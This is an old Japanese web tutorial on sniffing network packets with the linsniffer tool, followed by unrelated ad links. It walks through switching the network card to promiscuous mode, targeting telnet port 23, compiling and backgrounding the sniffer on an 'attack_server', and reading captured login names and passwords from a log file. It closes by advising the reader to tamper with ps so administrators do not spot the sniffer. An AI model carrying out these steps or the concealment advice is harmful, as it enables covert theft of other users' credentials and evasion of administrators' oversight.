標準sniffing講座

written by ipusiron(2000,1,29)


■スニーファー

 普通は、NIC(Network Interface Card)の設定によりパケットを覗き見ることができません。そのために、設定を変更する必要があります。

 しかし、スイッチングハブが回線の途中に使われている場合、スニーフィングは成功しないだろう。なぜならば、スイッチがパケットを処理して、相手にだけしか送らない様にしているからである。

 

■スニーファー・スクリプトをコンパイルして実行してみよう。

1、各自のプラットフォームに合わせたスニーファー・スクリプトを準備する。

ここでは、linsniffer.cを使ってみましょう。

2、ifconfig でデバイスを確認する。

lo

Link encap:Local Loopback inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0

UP BROADCAST LOOPBACK RUNNING MTU:3584 Metric:1

RX packets:2426 errors:0 dropped:0 overruns:0 frame:0

TX packets:2426 errors:0 dropped:0 overruns:0 carrier:0 coll:0

eth0

Link encap:Ethernet HWaddr 00:10:4B:7A:24:63 inet addr:192.168.10.1 Bcast:192.168.10.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:135959 errors:0 dropped:0 overruns:0 frame:0

TX packets:91893 errors:0 dropped:0 overruns:0 carrier:0 coll:321

Interrupt:10 Base address:0x300

BROADCAST RUNNING MULTICAST。この状態の場合であれば、パケットの中身を覗くことができない。

それでSnifferは、この個所を Promiscuous Modeに変更する。後で確認してみよう。

3、スクリプトを開いて、辻の部分に注目しよう。

if(ntohs(tcp->dest)==23) p=1; /* telnet */

見つけられただろうか。これは、対象ポートをtelnetである23に設定している。これで覗くパケットはTCPポートが23だけのものになる。

4、Libcapというライブラリを用意して、インストールする。

5、これで、スクリプトをコンパイルする準備ができた。

attack_server# cc linsniffer.c

attack_server# mv ./a.out linsniffer

attack_server# ./linsniffer &

[1] 6878

これで、コンパイルされたでしょう。

6、ifconfigする。

さて、これでとりあえず終了。ifconfig をしてみよう。

lo

Link encap:Local Loopback inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0

UP BROADCAST LOOPBACK RUNNING MTU:3584 Metric:1

RX packets:2426 errors:0 dropped:0 overruns:0 frame:0

TX packets:2426 errors:0 dropped:0 overruns:0 carrier:0 coll:0

eth0

Link encap:Ethernet HWaddr 00:10:4B:7A:24:63 inet addr:192.168.10.1 Bcast:192.168.10.255 Mask:255.255.255.0

UP BROADCAST RUNNING PROMISC MULTICAST

MTU:1500 Metric:1

RX packets:135959 errors:0 dropped:0 overruns:0 frame:0

TX packets:91893 errors:0 dropped:0 overruns:0 carrier:0 coll:321

Interrupt:10 Base address:0x300
しっかりと、eth0 は PROMISC モードで動作している。

7、現在の設定では、./sniffing というファイルにログが作成されていく。では、ちょっと試しにtelnetを起動させてみよう。

attack_server# telnet 192.168.1.1 23

Welcome to Linux 2.0.34

ipusiron login: guest

password: *****

attack_server# cat /tmp/sniffing

192.168.1.1 => 192.168.1.1 [23]

#'Pvt100!guest

guest

cat /tmp/sniffing

 

■最後に

 管理者側にばれないように、psを細工しましょう(詳しくは、特別講座<ps編>を参照せよ)。細工しないと、管理者にもろばれですので。

 


■参考文献


戻る

給料前でお金がない・・ 低金利でお得なローン探し 海外旅行保険の加入はコチラ!
[PR] | RMT葬式 費用高崎浦安大井町新越谷中国SEO対策消費者金融車 買取テンプレート沖縄旅行免許合宿二輪引越しプレゼントゴルフ会員権留学レーシックマッサージFXアフィリエイトFXホームページ制作デイトレード海外現地情報ハワイ旅行タイバンコクハワイ レンタカーベスト ハワイ ホテル レーツバリ島Hawaii hotelsHawaii Activitiesbhhrハワイホテルテキスト広告
【運営会社「パラダイムシフト」サービス】 ハワイ現地オプショナルツアーリラックマ) - ビジネスクラス航空券 - 格安航空券(1) - 格安航空券(2) - 海外ホテル - 韓国旅行 - タイムシェア - ホテル 予約
無料ホームページ - 携帯ホームページ - 無料ホームページ作成 - レンタルサーバー - ブログ - ヴィラ - ハワイ コンドミニアム - バリ島 ホテル - プーケット ホテル - タイムセル - 口コミ - 格安国際電話 - ホノルルマラソン - サイトパトロール - 誹謗中傷 - 宿泊料金比較 - 口コミ